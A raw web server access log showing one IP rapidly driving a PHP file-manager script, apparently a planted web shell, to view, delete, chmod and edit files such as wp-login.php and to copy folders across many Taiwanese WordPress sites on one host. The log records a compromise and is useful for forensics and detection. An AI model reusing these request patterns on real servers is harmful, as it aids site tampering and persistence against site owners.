45.135.193.11 - - [11/Sep/2026:23:35:11 -0400] "GET /betcity.com.tw/wp-admin/privacy-policy-guide.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:11 -0400] "GET /betcity.com.tw/wp-admin/update-core.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:12 -0400] "GET /thoms.php?dl=update.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?dl=update.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:12 -0400] "GET /thoms.php?dl=widgets-form-blocks.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?dl=widgets-form-blocks.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:12 -0400] "GET /betcity.com.tw/wp-admin/link-parse-opml.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:12 -0400] "GET /betcity.com.tw/wp-admin/menu-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:12 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fedit-tags.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fedit-tags.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:12 -0400] "GET /thoms.php?dl=edit-form-advanced.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?dl=edit-form-advanced.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:12 -0400] "GET /thoms.php?del=install-helper.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=install-helper.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:12 -0400] "GET /betcity.com.tw/wp-admin/moderation.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:12 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=ms-themes.php HTTP/1.1" 200 12026 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=ms-themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:12 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=options-writing.php HTTP/1.1" 200 15463 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=options-writing.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:12 -0400] "GET /betcity.com.tw/wp-admin/edit-form-advanced.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:12 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fauthorize-application.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fauthorize-application.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:13 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=options-connectors.php HTTP/1.1" 200 12677 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=options-connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:13 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=options-discussion.php HTTP/1.1" 200 17179 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=options-discussion.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:13 -0400] "GET /thoms.php?dl=site-editor.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=site-editor.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:13 -0400] "GET /thoms.php?chmod=site-health.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=site-health.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:13 -0400] "GET /thoms.php?chmod=maint&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?chmod=maint&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:13 -0400] "GET /thoms.php?chmod=admin-post.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=admin-post.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:13 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fmedia-new.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fmedia-new.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:13 -0400] "GET /thoms.php?edit=wp-login.php&p=betcity.com.tw HTTP/1.1" 200 28831 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:13 -0400] "GET /thoms.php?edit=wp-login.php&env=ace&p=betcity.com.tw HTTP/1.1" 200 32481 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&env=ace&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:13 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22052 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:13 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=besth2o.com.tw HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:13 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=bestjudy.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:13 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=betcity.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=bft.com.tw HTTP/1.1" 200 11438 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=broadweb.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=cgi-bin HTTP/1.1" 200 11371 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=upgrade HTTP/1.1" 200 11386 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=ba-guo.com.tw HTTP/1.1" 200 11374 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=bestzyx.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22051 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=wp-content HTTP/1.1" 200 11398 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=beauty-dental.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=bfl.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=bossini.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11385 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=biotaiwan.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=booking-wise2.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=big-wife.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22051 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=bogroup.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=bioway88.com.tw HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=bodbooks.com.tw HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2F.well-known&p=wp-content-20260912023544 HTTP/1.1" 200 11375 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2F.well-known&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=bestjudy.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22050 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=bft.com.tw HTTP/1.1" 200 11449 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=big-wife.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=wp-content HTTP/1.1" 200 11401 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=ba-guo.com.tw HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=biotaiwan.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=bioway88.com.tw HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11379 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=booking-wise2.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=wp-content-20260912023544 HTTP/1.1" 200 11372 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21758 "https://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=besth2o.com.tw HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=betcity.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=bfl.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=broadweb.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=upgrade HTTP/1.1" 200 11376 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=beauty-dental.com.tw HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:35:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-content&p=bossini.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-content&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
